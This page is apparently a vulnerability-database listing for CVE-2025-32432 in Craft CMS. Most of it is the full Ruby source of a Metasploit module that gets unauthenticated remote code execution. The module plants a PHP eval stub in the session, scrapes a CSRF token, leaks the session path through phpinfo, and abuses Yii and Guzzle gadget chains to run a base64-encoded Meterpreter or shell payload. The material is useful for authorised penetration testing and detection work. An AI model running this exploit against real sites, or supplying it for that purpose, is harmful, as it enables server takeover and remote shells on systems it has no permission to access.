Lucene search
K

📄 Craft CMS Image Transform Pre-Authenticaton Remote Code Execution

🗓️ 01 May 2025 00:00:00Reported by Nicolas Bourras, Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 83 Views

Exploits unauthenticated remote code execution in Craft CMS image transform via CVE-2025-32432.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
23 Sep 202506:23
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
16 Jul 202509:23
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
15 May 202614:09
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
8 Mar 202616:59
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
30 Apr 202603:38
githubexploit
GithubExploit
Exploit for Code Injection in Craftcms Craft_Cms
27 Apr 202508:50
githubexploit
ATTACKERKB
CVE-2024-58136
10 Apr 202500:00
attackerkb
ATTACKERKB
CVE-2025-32432
25 Apr 202515:15
attackerkb
Circl
CVE-2025-32432
25 Apr 202515:45
circl
CISA KEV Catalog
Yiiframework Yii Improper Protection of Alternate Path Vulnerability
2 May 202500:00
cisa_kev
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Payload::Php
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability
              in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
              It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
              by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
              Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
            },
            'Author' => [
              'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
              'Valentin Lobstein'                      # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'CVE', '2025-32432' ],
              [ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
              [ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
            ],
            'Platform' => %w[php unix linux],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %(unix linux),
                  'Arch' => ARCH_CMD
                }
              ],
            ],
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            },
            'DisclosureDate' => '2025-04-14',
            'DefaultTarget' => 0
          )
        )
    
        register_options([
          OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
        ])
      end
    
      def execute_via_session(payload)
        session_id, csrf, param_name = fetch_cookies_and_csrf
        return nil unless csrf
    
        vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")
    
        session_dir = @session_path || '/var/lib/php/sessions'
        session_file = normalize_uri(session_dir, "sess_#{session_id}")
    
        body = {
          assetId: datastore['ASSET_ID'],
          handle: {
            width: Rex::Text.rand_text_numeric(1..5),
            height: Rex::Text.rand_text_numeric(1..5),
            "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
              class: 'craft\\behaviors\\FieldLayoutBehavior',
              __class: 'yii\\rbac\\PhpManager',
              '__construct()' => [
                { itemFile: session_file }
              ]
            }
          }
        }.to_json
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => {
            'p' => 'actions/assets/generate-transform',
            param_name => payload
          },
          'headers' => { 'X-CSRF-Token' => csrf },
          'ctype' => 'application/json',
          'data' => body,
          'keep_cookies' => true
        )
      end
    
      def fetch_cookies_and_csrf
        param_name = Rex::Text.rand_text_alphanumeric(5..12)
        static_stub = "<?=eval($_GET['#{param_name}']);die()?>"
    
        params = {
          'p' => 'admin/dashboard',
          param_name => static_stub
        }
    
        cookie_jar.clear
        res = send_request_cgi(
          'method' => 'GET',
          'uri_encode_mode' => 'none',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => params
        )
        return nil unless res
    
        session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
        return nil if session_id.to_s.empty?
    
        if res.code == 302 && res.headers['Location']
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => res.headers['Location'],
            'keep_cookies' => true
          )
        end
    
        csrf = extract_csrf_token(res)
        return nil unless csrf
    
        [session_id, csrf, param_name]
      end
    
      def extract_csrf_token(res)
        doc = res.get_html_document
        token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
        return token unless token.to_s.empty?
    
        vprint_status('CSRF not found in dashboard, falling back to root')
        res2 = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true
        )
        res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
      end
    
      def leak_session_path(csrf)
        res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
        return nil unless res&.body
    
        doc = res.get_html_document
    
        path = doc.at_xpath(
          "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
        )&.text
    
        path ||= doc.at_xpath(
          "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
        )&.text
    
        path&.strip
      end
    
      def send_transform(csrf, asset_id, php_string)
        json_data = {
          'assetId' => asset_id,
          'handle' => {
            'width' => Rex::Text.rand_text_numeric(1..5),
            'height' => Rex::Text.rand_text_numeric(1..5),
            "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
              'class' => 'craft\\behaviors\\FieldLayoutBehavior',
              '__class' => 'GuzzleHttp\\Psr7\\FnStream',
              '__construct()' => [[]],
              '_fn_close' => php_string
            }
          }
        }.to_json
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
          'ctype' => 'application/json',
          'headers' => { 'X-CSRF-Token' => csrf },
          'data' => json_data
        )
      end
    
      def check
        _, csrf, = fetch_cookies_and_csrf
        return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf
    
        if (path = leak_session_path(csrf))
          @session_path = path
          print_good("Leaked session.save_path: #{@session_path}")
          return CheckCode::Vulnerable('Session path leaked')
        end
    
        a = Rex::Text.rand_text_numeric(4).to_i
        b = Rex::Text.rand_text_numeric(4).to_i
    
        expr = "#{a}+#{b}"
        sum = a + b
        print_status("Checking RCE: #{expr}")
    
        payload = "print_r(#{expr});"
        res = execute_via_session(payload)
        return CheckCode::Unknown('No response') unless res
    
        if res.body.include?(sum.to_s)
          CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
        else
          CheckCode::Safe('Unable to exercise code execution.')
        end
      end
    
      def exploit
        raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        b64 = Rex::Text.encode_base64(raw)
    
        payload_code = "eval(base64_decode('#{b64}'));"
    
        print_status('Injecting stub & triggering payload...')
        execute_via_session(payload_code)
      end
    
      def php_exec_cmd(encoded_payload)
        gen = Rex::RandomIdentifier::Generator.new
        disabled_var = "$#{gen[:dis]}"
        b64 = Rex::Text.encode_base64(encoded_payload)
    
        <<~PHP
          #{php_preamble(disabled_varname: disabled_var)}
          $c=base64_decode("#{b64}");
          #{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
        PHP
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 May 2025 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 3.110
EPSS0.93094
SSVC
83